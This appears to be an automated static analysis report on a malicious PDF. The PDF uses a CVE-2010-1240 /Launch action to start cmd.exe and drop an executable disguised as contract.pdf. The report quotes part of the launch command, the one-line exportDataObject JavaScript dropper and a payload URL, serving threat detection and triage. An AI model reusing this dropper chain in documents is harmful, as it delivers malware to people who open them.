Malicious PDF — malware analysis report

Static analysis result for SHA-256 cd0901877189dfac…

MALICIOUS

PDF

108.3 KB Created: `­ºÚt~2侮#!iukœhYxBê:šï‰¹¿ú°µÀY9"E¸}ÜpÙO1 Authoring application: 旰ë n-MX# N~˜OSµ22k>yÛºçIº/ (via Š{úà©å!z#_z5ƒœ»Ëå&¸6)3›üXjPº1bÒï›ñÅÅy˜¼\·o ÎR´ÎÅ1裢’;3) First seen: 2026-05-10
MD5: 5590bfe8f0831aa2d6fe7c6c7d980b95 SHA-1: 74e8822fc284d31b16b6f9c4729438c6cedb47ad SHA-256: cd0901877189dface4e65cfcedcf60c4907c55267350d6f2731b70dfbcf76312
576 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File T1566.002 Spearphishing Attachment T1059.003 Windows Command Shell

This PDF file contains a critical PDF_LAUNCH heuristic firing, indicating a launch action targeting cmd.exe with specific parameters. This action is part of a chain that exploits CVE-2010-1240 to execute an embedded Windows executable payload. The PDF also contains embedded JavaScript and is flagged as encrypted with JavaScript, suggesting an attempt to hide the malicious content. The presence of an embedded PE payload and the ClamAV detection further confirm its malicious nature. The specific command executed is: cmd.exe /Q /C %HOMEDRIVE%&cd %HOMEPATH%&(if exist "Desktop\contract.pdf" (cd "Desktop"

Machine Learning

  • Nyx PDF Classifier malicious score 0.9877

Heuristics 13

  • Adobe Reader Launch action command execution critical CVE exact CVE_2010_1240
    PDF uses the Adobe Reader/Acrobat Launch action pattern associated with CVE-2010-1240: cmd.exe is invoked with attacker-controlled parameters, paired with an embedded/exported payload.
  • ClamAV: Pdf.Tool.Agent-1388586 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Tool.Agent-1388586
  • Launch action critical PDF_LAUNCH
    PDF contains a /Launch action whose target is an executable, URL, or UNC path — can start an external application
  • Embedded Windows executable payload in PDF stream critical PDF_EMBEDDED_PE_PAYLOAD
    PDF stream bytes contain an embedded Windows executable with a verified PE header. Exploit chains often hide droppers inside ordinary streams rather than standard /EmbeddedFile attachments.
  • /Launch action target: cmd.exe critical PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/Q /C %HOMEDRIVE%&cd %HOMEPATH%&(if exist "Desktop\\contract.pdf" (cd "Desktop"' — references a known-dangerous executable (cmd, PowerShell, etc.).
  • Embedded attachment masquerades: declared document, content is windows-executable critical PDF_EMBEDDED_FILESPEC_CONTENT_MISMATCH
    An /EmbeddedFile attachment's declared filename extension or /Subtype MIME type contradicts the magic bytes of its decompressed content. The attachment is declared as a benign document or image but the bytes are an executable or executable-bearing archive. This is a deliberate deception used to hide droppers in PDF attachments and is a generic indicator of embed-and-drop weaponisation, independent of any specific CVE.
  • Encrypted PDF carries /JavaScript — payload hidden from static analysis high PDF_ENCRYPTED_WITH_JS
    PDF declares /Encrypt and also references an executable trigger (/JavaScript). Document encryption hides the JavaScript body and stream contents from static scanners — combined with auto-execution indicators this is a known evasion pattern used to deliver weaponised JavaScript that the analyst cannot inspect without the decryption key.
  • /Launch action paired with attachment-dropping JS API high PDF_LAUNCH_PLUS_DROPPER_JS
    PDF combines a /Launch action with a JavaScript API call that writes or opens an attached/external resource — the canonical shape of the CVE-2010-1240 /Launch + exportDataObject family. Benign PDFs do not pair these surfaces; the combination indicates a drop-and-execute chain regardless of the specific JS API knobs or /Launch target.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.168.1.100/funzariell.exe� In extracted file (contract.pdf)

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
contract.pdf pdf-embedded-file PDF EmbeddedFile object 36 at offset 0xF2F 37888 bytes
SHA-256: 0ce019a6773c832f8b55e34ff0da1d7aac4ba91c51b569cfa25deab207d75fb8
Detection
ClamAV: Win.Trojan.Rozena-131
Obfuscation or payload: likely
actual_type=PE; declared_or_context_type=PDF; filename=contract.pdf; kind=pdf-embedded-file Static shellcode analysis found candidate code region(s). Indicators: SC_PEB_ACCESS, SC_STR_GETPROCADDRESS, SC_STR_LOADLIBRARY Static shellcode analysis recovered API/import strings: GetProcAddress, ExitProcess, LoadLibraryA, VirtualAlloc
javascript_obj0004_000.js pdf-javascript-stream PDF /JS object 4 at offset 0x2E9 57 bytes
SHA-256: b7c28d42efa50db56162fefde75f5b9407cbbdf50d0ebe41535df38466ae96fe
Preview script
First 1,000 lines of the extracted script
this.exportDataObject({ cName: "contract", nLaunch: 0 });

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